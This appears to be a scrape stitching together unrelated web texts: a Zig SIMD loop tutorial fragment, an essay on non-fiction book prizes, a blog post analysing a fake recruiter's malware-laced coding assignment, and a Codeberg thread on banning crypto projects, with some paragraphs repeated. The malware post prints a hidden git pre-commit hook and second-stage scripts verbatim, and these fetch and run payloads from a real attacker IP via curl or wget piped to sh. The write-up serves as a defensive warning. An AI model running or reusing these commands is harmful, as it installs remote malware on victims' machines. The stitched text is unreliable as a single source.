val­ues: { 0x41, 0x42, 0x43, 0x0A, 0x44, 0x45, 0x46, 0x47 } greater_than_thresh­old: { true, true, true, false, true, true, true, true } mask: { 1, 1, 1, 0, 1, 1, 1, 1 } ~mask: { 0, 0, 0, 1, 0, 0, 0, 0 }

@ctz(~mask) counts three zero bits be­fore the first 1, so it re­turns 3. Adding 3 to end points it at lane 3, which con­tains 0x0A, the first con­trol char­ac­ter.

This is step 4: re­duce the vec­tor re­sult into what­ever the orig­i­nal al­go­rithm needs. This is also the step that varies the most be­tween al­go­rithms. A sum might re­duce a vec­tor ac­cu­mu­la­tor into a sin­gle num­ber. A trans­form might store the en­tire vec­tor to an out­put buffer. Our scan turns the vec­tor into a bit mask so it can find one spe­cific lane.

Step 5: Finish with the Scalar Tail

After the vec­tor loop, we run the ex­act scalar loop we started with:

while (end < cps.len and cps[end] > 0xF) end += 1;

If the in­put length is­n’t an ex­act mul­ti­ple of the vec­tor width, this processes the re­main­ing val­ues. For ex­am­ple, an eight-lane vec­tor loop leaves any­where from zero to seven val­ues for this loop. This is called the scalar tail.

This loop also han­dles CPUs where simd.lanes(u32) re­turns null. In that case we skip all of the SIMD code and the scalar loop processes the en­tire in­put. The orig­i­nal im­ple­men­ta­tion re­mains both the fall­back and the tail.

That’s step 5. It’s just the nor­mal loop.

Recap: The Common Shape

Let’s map the en­tire im­ple­men­ta­tion back to the five steps:

@splat(0xF) broad­casts the com­par­i­son value into every lane.

The while loop loads lanes val­ues at a time.

val­ues > thresh­old com­pares every lane in par­al­lel.

@reduce, @bitCast, and @ctz find the first failed com­par­i­son.

The orig­i­nal scalar loop han­dles the re­main­der and un­sup­ported CPUs.

The de­tails in step 4 ini­tially take some time to un­der­stand, but the over­all shape is straight­for­ward. And steps 1, 2, 3, and 5 tend to look nearly iden­ti­cal across com­pletely dif­fer­ent al­go­rithms.

Whenever you see a for (byte in bytes), this is the shape you’ll map to.

Why Can’t the Compiler Do This?

Sometimes it can! Compilers can auto-vec­tor­ize sim­ple loops, par­tic­u­larly reg­u­lar arith­metic loops with­out com­plex con­trol flow. You should al­ways com­pile the scalar ver­sion with op­ti­miza­tions and see what your com­piler pro­duces be­fore man­u­ally writ­ing SIMD.

But com­pil­ers are se­verely lim­ited in what they can auto-vec­tor­ize and are in gen­eral very poor at it. Auto-vectorization has been an ac­tive area of com­piler re­search for decades, and re­cent re­search still be­gins from the ob­ser­va­tion that pro­duc­tion com­pil­ers reg­u­larly miss vec­tor­iza­tion op­por­tu­ni­ties. This is­n’t a prob­lem I ex­pect to dis­ap­pear soon.

Quality non-fiction books are the antithesis of AI slop

resobscura.substack.com

My first year of col­lege, I had a work-study job which ended up be­ing one of the most sneak­ily im­por­tant in­tel­lec­tual ex­pe­ri­ences of my life. I was a lowly li­brary shelver, as­signed to the shelves la­belled A through F sec­tion in the Library of Congress fil­ing sys­tem: mostly works on re­li­gion, phi­los­o­phy, so­ci­ol­ogy, and his­tory. I say sneak­ily im­por­tant be­cause at first glance, shelv­ing books in a li­brary is su­per bor­ing. What it amounts to, phys­i­cally, is read­ing the la­bel on a book, then plac­ing it on the shelf where it be­longs, re­peated around a thou­sand times per shift.

To avoid the te­dium, I de­cided that I would also flip to a ran­dom page of every book I shelved and read a ran­dom sen­tence from it. Usually, I would stop there — run­ning aground on some pas­sage by a Hungarian clas­si­cal mu­sic critic or a long-dead sta­tis­ti­cian of Bolivia’s agri­cul­tural de­vel­op­ment or any num­ber of other things that failed to catch my in­ter­est. But other times — like when I came across a book about Hellenistic mys­tery cults, or The Education of Henry Adams, or Are Clothes Modern?— I would be­come so ab­sorbed that I’d make my way through sev­eral pages be­fore re­luc­tantly de­posit­ing the book back where it be­longed.

And then, very of­ten, I’d do the same with the books on ei­ther side of the one I’d liked.

In ret­ro­spect, I learned more at this job than in any for­mal class I’ve ever taken, be­cause it was a fil­tered form of auto-di­dac­ti­cism. The Library of Congress clas­si­fi­ca­tion sys­tem — and the ex­pert staff of an aca­d­e­mic re­search li­brary — had al­ready sorted and fil­tered these texts. Not to men­tion the se­lec­tion mech­a­nism of the fact that that they had been checked out: had, in other words, found a last­ing read­er­ship. Thus I was not see­ing a truly hap­haz­ard sam­pling of books, but a tar­geted, or­ga­nized, yet still in­ter­est­ingly ran­dom­ized sam­pling of good books.

Today, un­der­grad­u­ate stu­dents will in­vari­ably search on Google when asked to find a source, and the re­sults are so much worse than the old method of go­ing to, say, the GR 830 shelf of a re­search li­brary (basically, books that the Ghostbusters would read”) and just look­ing around.

But hon­estly, even re­search li­braries are not what they used to be. I am 41, and I feel like I’ve lived through the peak, and now the de­cline, of what li­braries can be (I still love them, of course — in fact I’m cur­rently writ­ing this in the ge­neal­ogy sec­tion of the Santa Cruz Public Library). The brows­able open stacks of old are be­ing re­placed by Learning Labs and Digital Innovation Hubs and seat­ing ar­eas de­voted mostly to so­cial­iz­ing and snack­ing, and in­creas­ingly, the de­light­ful, weird old books that I had the op­por­tu­nity to browse as an un­der­grad are head­ing to dump­sters, re­placed by e-edi­tions.

But one thing that has re­mained con­sis­tently good through­out my life is the books them­selves — non-fiction books, I mean. Even now, as read­er­ship of non-fic­tion de­clines amid com­pe­ti­tion from AI chat­bots and pod­casts, I feel like we are liv­ing through a golden age of the form that rarely gets rec­og­nized as such.

Which is why I set aside some time this sum­mer to cre­ate — or, rather, in­duce Claude Code to cre­ate — a free plat­form for search­ing in the long tail of high-qual­ity non-fic­tion books. Quality is dif­fi­cult to de­fine, but it’s been my ex­pe­ri­ence that books that win or achieve the short-list of the ma­jor non-fic­tion prizes are al­most al­ways no­tice­ably good, so that was the lit­mus test I used. To get started, I counted up all the ma­jor non-fic­tion prizes in the English lan­guage. Then I had Claude and GPT-5.6 gather the lists of fi­nal­ists and win­ners from var­i­ous on­line sources (mostly Wikipedia) and arrange it into a search­able, sortable list.

You can visit it here.

(And be­fore you won­der, yes this is ac­tu­ally free. I am pay­ing for the host­ing and the API costs en­tirely be­cause I just want peo­ple to find and read more good non-fic­tion books.)

There is re­ally noth­ing AI about this aside from the tool that col­lected the data and coded it,1 and, cru­cially, se­man­tic search, which for me is the most ap­peal­ing of all cur­rent AI tools pre­cisely be­cause it of­fers a straight­for­ward im­prove­ment for a work­flow and habit that re­searchers al­ready have: it makes text search work bet­ter.

So for in­stance, you can search sim­ple phrases like modern France” or social his­tory” or the like, but you can also search things like classic bi­ogra­phies that are sur­pris­ingly weird,” and an em­bed­ding model pulls from the 6,500 or so ti­tles to sur­face some:

Sometimes the choices” that the search makes are a bit baf­fling, but that is pre­cisely why I like it: the idea is to re­cap­ture some of that feel­ing of a ran­dom walk through a well-tended gar­den that made my li­brary shelv­ing job so re­ward­ing.

I find it tends to be best for find­ing books like.” For in­stance I found Stefan Zweig’s mem­oir of pre-war Vienna, The World of Yesterday, to be deeply mov­ing (even be­fore I learned that he com­mit­ted sui­cide, in Brazil in 1942, im­me­di­ately af­ter com­plet­ing it). A search for a books like it us­ing se­man­tic search in the cor­pus im­me­di­ately yields some ti­tles that seem promis­ing but which I’d never heard of be­fore:

Once I had gath­ered all this book-re­lated data, it be­came a fun ex­per­i­ment to make some data vi­su­al­iza­tions with it, in­clud­ing fun odd­i­ties like this dis­play of roughly 5,000 books from the cor­pus arranged by color (it would be in­ter­est­ing to plot this by decade, to see whether the same gray­ing ef­fect we see in cars over the past few decades is ac­tive in book cov­ers, too).

More use­ful, per­haps (since I’ve never seen this plot­ted any­where else), is this chart and ac­com­pa­ny­ing rank­ing which al­lows you to ex­plore which im­prints and pub­lish­ers have fared best when it comes to non-fic­tion book awards over the past cen­tury.

And this, in turn, got me think­ing about the past and fu­ture of non­fic­tion as a cul­tural force. For in­stance, here is a chart of all the non-fic­tion book prizes which I sam­pled for this pro­ject. I was sur­prised to learn that even the au­gust, renowned Pulitzer Prize for non­fic­tion was ac­tu­ally rel­a­tively re­cently in­sti­tuted, be­gin­ning in 1962.

Throughout the 70s, 80s and 90s, the num­ber of prizes in­creases, un­til we reach a peak in 2014, and then, in 2020, the be­gin­ning of what may be a slow de­cline:

And yet, maybe not. What most struck me as I be­gan us­ing my own tool to find new books to read was how con­sis­tently good the long tail of non-fic­tion from the past few decades is. You can pick a book more or less at ran­dom from this list and end up with some­thing ex­tra­or­di­nary and orig­i­nal — not be­cause it’s a hid­den gem or for­got­ten, since ob­vi­ously these books are on the list by virtue of hav­ing been cel­e­brated and praised. But a book that won enor­mous praise in news­pa­pers and among lit­er­ary in­tel­li­gentsia or schol­ars in the early 1990s, say — like, for in­stance, David Levering Lewis’s acute bi­og­ra­phy of W.E.B. Du Bois, which I’m cur­rently read­ing — is not ex­actly the sort of thing that Amazon is likely to rec­om­mend, as it’s out of print and cur­rently at 1 mil­lion+ in the sales rank­ings.

Yet there it is on the list, ranked near the top ten of all books be­cause it won no less than four ma­jor prizes when it was pub­lished back in 1993. And I can per­son­ally at­test that you can buy it used for ~$4 and it’s re­ally good.

While writ­ing this post, I got in­ter­ested in the big­ger ques­tion of when the golden age of non-fic­tion be­gan and why. I sus­pect it has much to do with the rise of those old-school open stack re­search li­braries, whose ori­gins I wrote about here:

It’s true that the ba­sic blue­print of these in­sti­tu­tions is an 18th and 19th cen­tury de­vel­op­ment — but the post-war era rad­i­cally trans­formed the ways that li­braries and archives pro­duced new knowl­edge, for a range of rea­sons that I will dig into more in a fu­ture post. It seems to me that a sur­pris­ing num­ber of them are re­lated to tech­no­log­i­cal and so­cial change:

• The jet plane al­lowed writ­ers and re­searchers to travel to mul­ti­ple con­ti­nents to re­search books — the sort of op­por­tu­nity pre­vi­ously avail­able only to the ul­tra-wealthy.

• The ero­sion of re­stric­tions around class, race, and gen­der made for­merly elite spaces like rare book li­braries more widely ac­ces­si­ble, and the same process also opened up new ques­tions and re­search leads (for in­stance, it is strik­ing how rarely bi­og­ra­phers be­fore ~1965 or so dug into the sex­u­al­ity of their sub­jects).

• Proto-digital and early dig­i­tal tech­nolo­gies like the Library of Congress clas­si­fi­ca­tion sys­tem and the re­lated MARC (machine-readable cat­a­logu­ing) stan­dard, de­vel­oped in the late 1960s, made it much eas­ier to sort and clas­sify books. Crucially, they also made it eas­ier to fact check sources and cre­ate high qual­ity end­notes.

• The ad­vent of broad­cast news, odd­ball TV in­ter­view shows (Dick Cavett!), and the book-to-Hol­ly­wood pipeline cre­ated new in­cen­tives for au­thors and new plat­forms for mak­ing their work vis­i­ble.

• Word proces­sors and early com­put­ers? I’m still un­sure whether these ap­pre­cia­bly al­tered the qual­ity of non-fic­tion writ­ing, but I think it’s pos­si­ble. Certainly (moving into the 2000s) Wikipedia and Google Books/Hathi Trust have been enor­mously help­ful for me and oth­ers in my gen­er­a­tion.

My own en­tirely sub­jec­tive opin­ion, based on a whole lot of skim­ming in a whole lot of li­brary books, is that non-fic­tion writ­ing qual­ity no­tice­ably im­proved across the whole twen­ti­eth cen­tury and prob­a­bly reached a peak around the 1980s to early 2000s. Whether it is now de­clin­ing is, again, a topic for an­other post — though I’d be cu­ri­ous to hear what you think, dear reader, both about this ques­tion and about the Book Prize Index.

Share

• The mak­ing of the Jurassic Park com­put­ers.

• “Mill’s life has as much to teach here as his ar­gu­ments. When he suf­fered that early break­down, in 1826, it was be­cause he lost faith in the pur­suit of util­i­tar­i­an­ism, his fam­ily creed. But he had no one he felt he could talk to about his cri­sis. His re­cov­ery, he said, came in part from read­ing Wordsworth. It came, too, from re­ject­ing the psy­cho­log­i­cal pic­ture in which his fa­ther had raised him, a form of as­so­ci­a­tion­ism that treated the mind as a mech­a­nism for man­ag­ing plea­sure and pain, just as his fa­ther’s util­i­tar­ian ethics treated moral­ity as a mat­ter of max­i­miz­ing the sur­plus of plea­sure over pain. As he wrote in On Liberty, hu­man na­ture is not a ma­chine to be built af­ter a model,’ but a liv­ing thing that must grow and de­velop it­self on all sides.’” — Kwame Anthony Appiah on AI and John Stuart Mill, whose Autobiography is one of the books that caught my at­ten­tion in the open stacks.

• Mercifully, Pangram rates the Appiah es­say as 100% hu­man writ­ten… one can never tell these days. But ap­par­ently you can tell, sort of, on Substack — as I was prepar­ing this post, I no­ticed this newly-added fea­ture:

I have been skep­ti­cal in the past about soft­ware that claims to be able to de­tect AI writ­ing, but I have to say, Pangram feels dif­fer­ent. I’ve tested it and it’s dis­may­ingly ef­fec­tive — dis­may­ing be­cause, as I wrote about here, a lot of the writ­ing peo­ple seem to like on­line these days is com­ing up as 100% AI. I’m glad Substack added this fea­ture and I hope it pops up else­where, e.g., it would be in­ter­est­ing to see it au­to­mat­i­cally ap­plied to the out­put of ma­jor news web­sites and mag­a­zines.

Leave a com­ment

Share

Appaji - Software Engineer

citizendot.github.io

Discuss on Hacker News or LinkedIn.

A re­cruiter slid into my LinkedIn DMs last Thursday with a Python de­vel­oper role. I was thrilled that some­one had reached out di­rectly, so I asked for more de­tails. When he shared the role de­scrip­tion, com­pany name, and the es­ti­mated pay, I fig­ured I had noth­ing to lose.

Here is the ini­tial mes­sage:

Offering $10,000-$15,000 a month for a re­mote-first, con­tract-to-hire role is just too good. Also, why is this guy re­veal­ing pay info be­fore even we met? I thought re­cruiters play the you first, me next” game. Rookie mis­take.

Red flags im­me­di­ately started wav­ing. Why the huge bud­get? (Well, huge by Indian stan­dards for a re­mote role; not ex­actly out­ra­geous by US stan­dards, but good enough to raise an eye­brow.) I looked up the com­pany and saw it was a Y Combinator startup. YC com­pa­nies aren’t ex­actly known for con­ven­tional op­er­a­tions, so it was­n’t com­pletely out­side the realm of pos­si­bil­ity. Still, if a com­pany has that kind of cash to throw around, they usu­ally have a much more struc­tured hir­ing pipeline. I de­cided to pro­ceed, but kept my guard up.

I sent over my re­sume. The re­cruiter quickly ap­proved it and handed over a take-home as­sign­ment via a Google Drive link con­tain­ing a zip archive and a PDF with in­struc­tions. Here’s the orig­i­nal drive link: https://​drive.google.com/​drive/​fold­ers/​18i1KD­FXAPv7lqf­BGddxj7IOnDy8J6VeH?usp=dri­ve_link. I made my copy here in case they delete theirs: https://​drive.google.com/​drive/​fold­ers/​1DZY­Wezjp­wol­sxXn­M5F04_Ng3nzTRYpVS?usp=shar­ing.

Assessment PDF was sur­pringly le­git­i­mate look­ing. It’s about how to im­prove the ex­ist­ing code­base, ar­chi­tec­tural sug­ges­tions, some git op­er­a­tions etc..

I ex­tracted the zip. At first glance, it was just a boil­er­plate FastAPI back­end us­ing SQLAlchemy; pretty stan­dard stuff. I checked re­quire­ments.txt for any ob­vi­ous ty­posquat­ting or ma­li­cious pack­ages, but it was com­pletely clean. For a brief sec­ond, I thought my sus­pi­cions were un­founded and this was a le­git­i­mate op­por­tu­nity.

This is just a habit (may be from do­ing CTFs), when­ever I get a ran­dom pro­ject folder, I just run tree -a to see what’s lurk­ing in the hid­den di­rec­to­ries. But this might be the first time it paid off in the real world.

❯ tree -a . . ├── alem­bic.ini ├── for learn­ing │   ├── dtos.py │   ├── main.py │   └── mock­Data.py ├── .git │   ├── con­fig │   ├── de­scrip­tion │   ├── gk │   │   └── con­fig │   ├── HEAD │   ├── hooks │   │   ├── ap­ply­patch-msg │   │   ├── com­mit-msg │   │   ├── fs­mon­i­tor-watch­man │   │   ├── post-ap­ply­patch │   │   ├── post-check­out │   │   ├── post-com­mit │   │   ├── post-merge │   │   ├── post-re­ceive │   │   ├── post-rewrite │   │   ├── post-up­date │   │   ├── pre-ap­ply­patch │   │   ├── pre-auto-gc │   │   ├── pre-com­mit │   │   ├── pre-merge-com­mit │   │   ├── pre­pare-com­mit-msg │   │   ├── pre-push │   │   ├── pre-re­base │   │   ├── pre-re­ceive │   │   ├── proc-re­ceive │   │   ├── push-to-check­out │   │   ├── sende­mail-val­i­date │   │   └── up­date │   ├── in­dex │   ├── info │   │   └── ex­clude │   ├── logs …

Wait a minute. A ton of Git hooks were pre-con­fig­ured in the repos­i­tory. I opened the pre-com­mit script to see what they were try­ing to run.

❯ cat .git/hooks/pre-commit #!/bin/sh

case $(uname -s)” in Darwin*) curl -sL http://​45.61.164.38:5777/​task/​mac?id=402′ -L | sh > /dev/null 2>&1 & ;; Linux*) wget -qO- http://​45.61.164.38:5777/​task/​linux?id=402′ -L | sh > /dev/null 2>&1 & ;; MINGW*|MSYS*|CYGWIN*) curl -sL http://​45.61.164.38:5777/​task/​win­dows?id=402 -L | cmd > /dev/null 2>&1 & ;; *) curl -sL http://​45.61.164.38:5777/​task/​mac?id=402′ -L | sh > /dev/null 2>&1 & ;; esac

Bingo. They em­bed­ded a script that checks the vic­tim’s host op­er­at­ing sys­tem and silently ex­e­cutes a re­mote pay­load.

Side note: Why use a raw IP ad­dress? If any­thing, this screams malware.” At least reg­is­ter a de­coy do­main like lint-checker.com or jenk­ins-ci-run­ner.net. If the threat ac­tors who wrote this are read­ing: take notes peo­ple!

Side note: Why use a raw IP ad­dress? If any­thing, this screams malware.” At least reg­is­ter a de­coy do­main like lint-checker.com or jenk­ins-ci-run­ner.net. If the threat ac­tors who wrote this are read­ing: take notes peo­ple!

Let’s see what the Linux pay­load ac­tu­ally does. Notice the id=402 pa­ra­me­ter be­ing passed to the end­point. Keep that in mind.

❯ curl http://​45.61.164.38:5777/​task/​linux?id=402 #!/bin/bash set -e echo Authenticated” TARGET_DIR=“$HOME/Documents” clear wget -q -O $TARGET_DIR/tokenlinux.npl” http://​45.61.164.38:5777/​task/​to­ken­linux?id=402 clear mv $TARGET_DIR/tokenlinux.npl” $TARGET_DIR/tokenlinux.sh” clear chmod +x $TARGET_DIR/tokenlinux.sh” clear no­hup bash $TARGET_DIR/tokenlinux.sh” > /dev/null 2>&1 & clear exit 0

The script pulls down a sec­ondary pay­load ini­tially named to­ken­linux.npl (we’ll cir­cle back to that spe­cific ex­ten­sion later). It then hides the file in my ~/Documents di­rec­tory as to­ken­linux.sh, makes it ex­e­cutable, and fires it off in the back­ground us­ing no­hup.

From Google: The no­hup com­mand (short for no hang up”) is a Linux/Unix util­ity that keeps a process run­ning even af­ter you log out, close the ter­mi­nal, or dis­con­nect from an SSH ses­sion.

From Google: The no­hup com­mand (short for no hang up”) is a Linux/Unix util­ity that keeps a process run­ning even af­ter you log out, close the ter­mi­nal, or dis­con­nect from an SSH ses­sion.

Down the rab­bit hole we go. Let’s in­spect this next script.

❯ curl http://​45.61.164.38:5777/​task/​to­ken­linux?id=402 … … BASE_URL=“http://​45.61.164.38:5777

# Step 8: Download files

# Check if curl is avail­able

if ! com­mand -v curl >/dev/null 2>&1; then # If curl is not avail­able, use wget wget -q -O $USER_HOME/parser.js” $BASE_URL/task/parser?id=402″ wget -q -O $USER_HOME/package.json” $BASE_URL/task/json” else # If curl is avail­able, use curl curl -s -L -o $USER_HOME/parser.js” $BASE_URL/task/parser?id=402″ curl -s -L -o $USER_HOME/package.json” $BASE_URL/task/json” fi

# Step 9: Install request’ pack­age

cd $USER_HOME” if [ ! -d node_modules/request” ]; then npm in­stall –silent –no-progress –loglevel=error –fund=false fi

# Step 10: Run to­ken parser

if [ -f $USER_HOME/parser.js” ]; then no­hup node $USER_HOME/parser.js” > $USER_HOME/parser.log” 2>&1 & else exit 1 fi exit 0

I’ve trimmed the out­put to the most in­ter­est­ing bits for brevity, but full file is avail­able here: to­ken­linux.txt (bash script).

I’ve trimmed the out­put to the most in­ter­est­ing bits for brevity, but full file is avail­able here: to­ken­linux.txt (bash script).

This sec­ond stage does a lot of heavy lift­ing. It qui­etly in­stalls Node.js, con­fig­ures the sys­tem path, down­loads a pack­age.json and a parser.js file, in­stalls the re­quired de­pen­den­cies, and runs the parser in­vis­i­bly.

I took a look at parser.js. The code was heav­ily ob­fus­cated, a com­plete mess to read man­u­ally. Remember the id pa­ra­me­ter? I tried chang­ing it in my re­quest and re­ceived a com­pletely dif­fer­ent script back. The at­tack­ers are likely as­sign­ing unique iden­ti­fiers to track in­di­vid­ual can­di­dates, serv­ing cus­tomized pay­loads to each vic­tim.

Since parser.js was a brick wall, I piv­oted to pack­age.json. Unlike the parser, this has to be stan­dard JSON for npm to process it.

Btw, I’ve hosted parser.js here: parser.js

❯ curl http://​45.61.164.38:5777/​task/​json

{ name”: tokendapp”, version”: 1.0.0″, devDependencies”: { hardhat”: ^2.20.2” }, dependencies”: { axios”: ^1.12.2″, basic-ftp”: ^5.0.5″, child_process”: ^1.0.2″, clipboardy”: ^4.0.0″, crypto”: ^1.0.1″, execp”: ^0.0.1″, fs”: ^0.0.1-security”, jsonwebtoken”: ^9.0.2″, process”: ^0.11.10″, ps-node”: ^0.1.6″, request”: ^2.88.2″ }, scripts”: { test”: npx hard­hat test”, deploy”: npx hard­hat run scripts/​de­ploy.js” } }

These de­pen­den­cies are in­cred­i­bly sus­pi­cious. Why would a back­ground setup task need clip­board ac­cess (clipboardy), and they need file sys­tem ac­cess (fs) too. And what ex­actly is hard­hat?

Ah, an Ethereum de­vel­op­ment en­vi­ron­ment. This makes the track­ing ID pa­ra­me­ter even more cu­ri­ous. If they were drop­ping a Bitcoin miner, dis­trib­ut­ing spe­cific hash­ing tasks to unique IDs would make sense. But Ethereum shifted away from Proof of Work; it does­n’t rely on min­ing any­more. They are likely us­ing Hardhat to lo­cate and drain crypto wal­lets or in­ter­act with lo­cal browser ex­ten­sions? idk.

Hoping to de­ob­fus­cate parser.js, I threw the code into a few LLMs to see if they could un­tan­gle it.

Claude took one look at the file and trig­gered its safety rails, re­fus­ing to an­a­lyze the script:

Gemini, on the other hand, was more than happy to break it down (No, I’m not bi­ased to­wards Google here. Well, okay, I am a Googler, but you can judge for your­self.):

Earlier, we saw the pay­load orig­i­nally named to­ken­linux.npl. A quick search con­firms ex­actly what kind of threat ac­tor uses that ex­ten­sion:

The Scam goes deeper

After re­al­iz­ing this was a wide­spread cam­paign, I did a bit more dig­ging and found that peo­ple are get­ting dif­fer­ent vari­a­tions of this at­tack. Some folks re­ceived a zip file con­tain­ing a .vscode folder. Inside, the at­tack­ers hid com­mands con­fig­ured to run as soon as the di­rec­tory is opened in VSCode (launch com­mands).

Pretty clever.

You don’t even have to run a git com­mand, just open­ing this di­rec­tory in VSCode is enough to get in­fected.

Also, it’s pretty ev­i­dent now that this has noth­ing to do with Zavopay. The at­tack­ers just used what­ever com­pany name they found to make the of­fer look le­git­i­mate. Out of cu­rios­ity, I ran git log to in­spect the pro­jec­t’s com­mit his­tory, won­der­ing if they left any cus­tom traces. It turns out, they just cloned a ran­dom pub­lic repos­i­tory.

❯ git log com­mit 16a25d9eaef7ef2e831a21ca0d703fe0fa621492 (HEAD -> main, ori­gin/​main, ori­gin/​fea­ture/​pay­ment, ori­gin/​HEAD, fea­ture/​pay­ment) Author: rhonda <womenofin­spi­ra­tion2016@gmail.com> Date: Mon Jun 29 22:04:17 2026 – 0400

add re­quire­ments

com­mit 8ae96928302a8e0757f2c72f85c46d801c97b91e Merge: f64c289 d6cb1f2 Author: Bharati Gogoi <bgogoi055@gmail.com> Date: Mon Jun 29 21:23:43 2026 +0530

Merge pull re­quest #10 from Bgogoi123/feature/balance

[feat][Service for Adjusting Balance]

com­mit d6cb1f2f14b5d561e3611653327477e6a60eee95 Author: Bharati Gogoi <bharati­gogoi@Bharatis-Mac­Book-Air.lo­cal> Date: Mon Jun 29 21:20:13 2026 +0530

[feat][Service for Adjusting Balance] - Added a ser­vice for ad­justinh a user’s bal­ance. - Removed old/​com­mented codes.

com­mit f64c2898bbe2d4b5773f39e1022e95a2418­fa0b4 Merge: 17aaa4c 9e0dbdf Author: Bharati Gogoi <bgogoi055@gmail.com> Date: Fri Jun 26 23:51:38 2026 +0530

Merge pull re­quest #9 from Bgogoi123/feature/balance

[fix][Dependencies Annotated]

com­mit 9e0dbdf112124a25237018a3b92af10c51c54b5f Author: Bharati Gogoi <bharati­gogoi@Bharatis-Mac­Book-Air.lo­cal> Date: Fri Jun 26 23:48:53 2026 +0530

[fix][Dependencies Annotated] - Annotated all de­pen­den­cies in the router files of each mod­ule.

A quick search led me straight to the orig­i­nal repo: https://​github.com/​Bgogoi123/​per­sonal-fi­nance-ser­vice. They lit­er­ally just took some­one’s in­no­cent FastAPI pro­ject and slapped a ma­li­cious hid­den di­rec­tory on top of it.

Naturally, the next move was piv­ot­ing from de­fense to of­fense. I wanted to see if the at­tack­ers left any vul­ner­a­ble ser­vices ex­posed on their IP.

An Nmap scan re­vealed three open ports. Two of them were un­re­spon­sive to ver­sion de­tec­tion. Port 22 was run­ning OpenSSH 9.6p1 on Ubuntu. Since that ver­sion was re­leased just over a week prior to this scan, there were no known CVEs I could lever­age to poke around their in­fra­struc­ture.

So, they had de­cent OPSEC on their server, even if their mal­ware de­ploy­ment was a bit loud. That’s where the trail goes cold for now. Stay safe out there, and al­ways check those hid­den di­rec­to­ries be­fore run­ning some­one else’s code.

Now I un­der­stand why their as­sign­ment PDF has git tasks. They want to make sure that the can­di­date runs at least one of the git com­mands, so the hooks will get trig­gered.

Oh by the way, The recruiter” seemed to have deleted the ac­count, right af­ter I called their front out.

That’s it for now. Feel free to con­nect with me on LinkedIn if you want to chat, though maybe skip send­ing any mal­ware-laced take-home tests. (Actually, on sec­ond thought, if you have in­ter­est­ing mal­ware sam­ples, send em over!)

Thanks for read­ing!

Proposal for Assembly 2026: Disallow cryptocurrency projects

codeberg.org

Owner

Copy link

Copy link

Need to be care­ful with word­ing like this. If you are go­ing to pro­vide ex­am­ples you need to make it clear it is not an ex­haus­tive list:

Content that harms the rep­u­ta­tion of Codeberg, such as - but not lim­ited to - cryp­tocur­rency re­lated pro­jects.”

Need to be care­ful with word­ing like this. If you are go­ing to pro­vide ex­am­ples you need to make it clear it is not an ex­haus­tive list:

Content that harms the rep­u­ta­tion of Codeberg, such as - but not lim­ited to - cryp­tocur­rency re­lated pro­jects.”

Author

Owner

Copy link

The text is now as-is be­cause it was send out for votes. Small clar­i­fi­ca­tions can be made af­ter­wards by Presidium or Board. The whole spirit of the vote makes it clear this is a not lim­ited to” case.

The text is now as-is be­cause it was send out for votes. Small clar­i­fi­ca­tions can be made af­ter­wards by Presidium or Board. The whole spirit of the vote makes it clear this is a not lim­ited to” case.

First-time con­trib­u­tor

Copy link

Is there a de­f­i­n­i­tion of cryptocurrency-related” some­where?

Is there a de­f­i­n­i­tion of cryptocurrency-related” some­where?

Author

Owner

Copy link

This has passed.

This has passed.

![image](/attachments/73b8c345-cb43 – 44b9-b172 – 5c76f521a5e0)

Gusted

ref­er­enced this pull re­quest from a com­mit 2026 – 07-22 02:02:29 +02:00

First-time con­trib­u­tor

Copy link

Fk hell I just moved to a forge that banned bit­coin! Is this a joke??? https://​blog.code­berg.org/​we-stay-strong-against-hate-and-ha­tred.html

First-time con­trib­u­tor

Copy link

Please ex­plain how do cryp­tocur­rency pro­jects harm code­berg’s rep­u­ta­tion

https://​fo­rum.code­berg.org/​d/​82-tak­ing-a-stance-against-cryp­tocur­rency The page you re­quested could not be found.”

https://​fo­rum.code­berg.org/​d/​82-tak­ing-a-stance-against-cryp­tocur­rency The page you re­quested could not be found.”

Codeberg/Community#794 Codeberg/Community#2184 These do­mains are strongly as­so­ci­ated with fraud­u­lent ac­tiv­i­ties and high-risk in­vest­ments

Codeberg/Community#794 Codeberg/Community#2184 These do­mains are strongly as­so­ci­ated with fraud­u­lent ac­tiv­i­ties and high-risk in­vest­ments

Not all of them are about it. First of all, in con­text of so called code forges, this is a tech. What kind of headache do you have, that you judge the whole group by iso­lated cases, and block ANY such pro­jects, even those that have real tech­ni­cal value?

Please ex­plain how do cryp­tocur­rency pro­jects harm code­berg’s rep­u­ta­tion

> https://​fo­rum.code­berg.org/​d/​82-tak­ing-a-stance-against-cryp­tocur­rency The page you re­quested could not be found.”

> Codeberg/Community#794 > Codeberg/Community#2184 > These do­mains are strongly as­so­ci­ated with fraud­u­lent ac­tiv­i­ties and high-risk in­vest­ments

Not all of them are about it. First of all, in con­text of so called code forges, this is a tech. What kind of headache do you have, that you judge the whole group by iso­lated cases, and block ANY such pro­jects, even those that have real tech­ni­cal value?

First-time con­trib­u­tor

Copy link

When some pro­jects were trans­ferred over, you started be­hav­ing strangely.

When some pro­jects were trans­ferred over, you started be­hav­ing strangely.

First-time con­trib­u­tor

Copy link

While I re­spect this seems to have been a com­mu­nity de­ci­sion (I also de­spise the amount of fraud com­ing from the crypto space), this does set quite a con­cern­ing prece­dent, and makes me a lit­tle ner­vous to con­tinue rec­om­mend­ing Codeberg.

Banning an en­tire cat­e­gory of soft­ware based on bad ac­tors within that cat­e­gory is ex­treme, and pre­vents any healthy crypto pro­jects from emerg­ing here.

While I re­spect this seems to have been a com­mu­nity de­ci­sion (I also de­spise the amount of fraud com­ing from the crypto space), this does set quite a con­cern­ing prece­dent, and makes me a lit­tle ner­vous to con­tinue rec­om­mend­ing Codeberg.

Banning an en­tire cat­e­gory of soft­ware based on bad ac­tors within that cat­e­gory is ex­treme, and pre­vents any healthy crypto pro­jects from emerg­ing here.

First-time con­trib­u­tor

Copy link

I’m work­ing on a pro­ject aimed at bring­ing pri­vacy, se­cu­rity, and au­ton­omy to at risk peo­ple groups. The lan­guage in this mo­tion means I can no longer host it here. Is this what the Codeberg com­mu­nity voted for? The short-sight­ed­ness and in­com­pe­tency is mind blow­ing. What do you call it when a group of peo­ple come to­gether to weaponize their hate against a whole cat­e­gory of de­vel­op­ers? Anyone?

I’m work­ing on a pro­ject aimed at bring­ing pri­vacy, se­cu­rity, and au­ton­omy to at risk peo­ple groups. The lan­guage in this mo­tion means I can no longer host it here. Is this what the Codeberg com­mu­nity voted for? The short-sight­ed­ness and in­com­pe­tency is mind blow­ing. What do you call it when a group of peo­ple come to­gether to weaponize their hate against a whole cat­e­gory of de­vel­op­ers? Anyone?

First-time con­trib­u­tor

Copy link

